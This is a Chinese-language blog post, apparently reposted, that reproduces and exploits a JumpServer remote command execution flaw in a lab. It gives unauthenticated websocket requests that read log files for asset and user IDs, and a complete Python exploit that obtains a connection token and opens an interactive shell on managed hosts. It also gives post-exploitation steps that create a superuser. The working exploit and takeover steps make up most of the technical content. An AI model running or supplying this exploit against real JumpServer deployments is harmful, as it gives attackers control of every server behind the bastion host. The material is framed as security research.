【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

admin 2024年9月28日14:55:50评论34 views字数 4715阅读15分43秒阅读模式

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

网安教育

培养网络安全人才

技术交流、学习咨询

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用
0x01 简介

JumpServer远程执行漏洞 RCE EXP

Jumpserver 是一款由python编写开源的跳板机(堡垒机)系统,是内网中的一种集权系统,拿下后基本上都是可以控制大量的服务器。

项目地址:https://github.com/jumpserver/jumpserver

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用
0x02 漏洞原理

远程命令执行漏洞:由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,再通过敏感信息获取一个20s的token,最后利用这个token去执行相关API操作控制其中所有机器或者执行任意命令。

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用
0x03 影响版本:
1JumpServer < v2.6.2
2JumpServer < v2.5.4
3JumpServer < v2.4.5
4JumpServer = v1.5.9
【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用
0x04 复现环境搭建注意坑点

环境搭建推荐使用一键安装,因为环境比较麻烦,而且还得是旧版的,这里是v2.6.1

安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

注意要给环境配置高一点,否则会卡死。(我是 Centos 7 系统 4核 8G)

使用一件脚本的时候,推荐不使用外部 mysql和redis,这样他就会docker自己创建数据库,省的自己配报错。

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

搭建好了,服务一键启动 ./jmsctl.sh restart

搭建好了,默认的账户和密码是 admin admin

http://10.211.55.22:8080/core/auth/login/

登陆之后还不能直接用,还有配置一下,分配一下服务器才能使用。

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

1、创建一个系统用户

系统用户是 JumpServer 跳转登录资产时使用的用户

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

2、创建管理用户

管理用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户

我的被管理主机就是 root root

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

3、创建资产

就是要管理的终端

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

4、资产授

只有给资产授权,控制台才有机器,才能管理

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

5、web终端连接

访问web终端:

1http://10.211.55.22:8080/luna/

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用
0x05 漏洞复现

1、请求未授权 socketweb

1ws://10.211.55.22:8080/ws/ops/tasks/log/

利用chrome插件https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

请求log文件

1{"task":"/opt/jumpserver/logs/gunicorn"}

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

2、获取system_user user_id asset_id 这三个重要参数

自己搜索一下这三个id

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

所以获取到的是

1asset_id=230f921b-be1c-4343-8bab-57d4410606bb&cache_policy=1&system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c 

3、对应填入EXP中

exp为了美观放到最后

文件最后需要修改的:

1文件最后需要修改的:
2
3host = "http://10.211.55.22:8080"
4
5data = {
6        "user""0cae929c-5f7a-41a4-b873-bc9d28613c4c",
7        "asset""230f921b-be1c-4343-8bab-57d4410606bb",
8        "system_user""03705092-18e7-4b65-a12a-7991f9c50740",
9    }

4、成功利用:

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用
后利用:创建超管

获取到shell,我们可以直接创建超管,毕竟主机权限没什么用,登陆系统之后才有大量的主机。

命令行创建超管

切换到目录

1切换到目录  
2cd /opt/jumpserver/apps
3
4python manage.py createsuperuser

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

超管登陆成功

【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

EXP

EXP 代码 仓库 https://github.com/Skactor/jumpserver_rce

我实测,这个手动获取 asset_id system_user_id user_id 这三个可以正常触发漏洞,但是好多自动化获取多少有点问题,反正我的是没成功。

 1import os
2
3import asyncio
4import aioconsole
5
6import websockets
7import requests
8import json
9
10url = "/api/v1/authentication/connection-token/?user-only=1"
11
12
13def get_celery_task_log_path(task_id):
14    task_id = str(task_id)
15    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
16    path = os.path.join("/opt/jumpserver/", rel_path)
17    return path
18
19
20async def send_msg(websocket, _text):
21    if _text == "exit":
22        print(f'you have enter "exit", goodbye')
23        await websocket.close(reason="user exit")
24        return False
25    await websocket.send(_text)
26
27
28async def send_loop(ws, session_id):
29    while True:
30        cmdline = await aioconsole.ainput()
31        await send_msg(
32            ws,
33            json.dumps(
34                {"id": session_id, "type""TERMINAL_DATA""data": cmdline + "n"}
35            ),
36        )
37
38
39async def recv_loop(ws):
40    while True:
41        recv_text = await ws.recv()
42       ret = json.loads(recv_text)
43        if ret.get("type""TERMINAL_DATA"):
44            await aioconsole.aprint(ret["data"], end="")
45
46
47# 客户端主逻辑
48async def main_logic():
49    print("#######start ws")
50    async with websockets.connect(target) as client:
51        recv_text = await client.recv()
52        print(f"{recv_text}")
53        session_id = json.loads(recv_text)["id"]
54        print("get ws id:" + session_id)
55        print("###############")
56        print("init ws")
57        print("###############")
58        inittext = json.dumps(
59        {
60            "id": session_id,
61            "type""TERMINAL_INIT",
62            "data"'{"cols":164,"rows":17}',
63            }
64        )
65        await send_msg(client, inittext)
66        await asyncio.gather(recv_loop(client), send_loop(client, session_id))
67
68
69if __name__ == "__main__":
70    host = "http://10.211.55.22:8080"
71    cmd = "whoami"
72    if host[-1] == "/":
73        host = host[:-1]
74    print(host)
75    data = {
76        "user""0cae929c-5f7a-41a4-b873-bc9d28613c4c",
77        "asset""230f921b-be1c-4343-8bab-57d4410606bb",
78        "system_user""03705092-18e7-4b65-a12a-7991f9c50740",
79    }
80    print("##################")
81    print("get token url:%s" % (host + url,))
82    print("##################")
83    res = requests.post(host + url, json=data)
84    token = res.json()["token"]
85    print("token:%s", (token,))
86    print("##################")
87    target = (
88        "ws://" + host.replace("http://""") + "/koko/ws/token/?target_id=" + token
89    )
90    print("target ws:%s" % (target,))
91    asyncio.get_event_loop().run_until_complete(main_logic())
【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

版权声明:本文为CSDN博主「god_Zeo」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/god_zzZ/article/details/121366616

版权声明:著作权归作者所有。如有侵权请联系删除

开源聚合

原文始发于微信公众号(开源聚合网络空间安全研究院):【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:55:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞分析】jumpserver 远程命令执行RCE漏洞复现和利用https://cn-sec.com/archives/643947.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息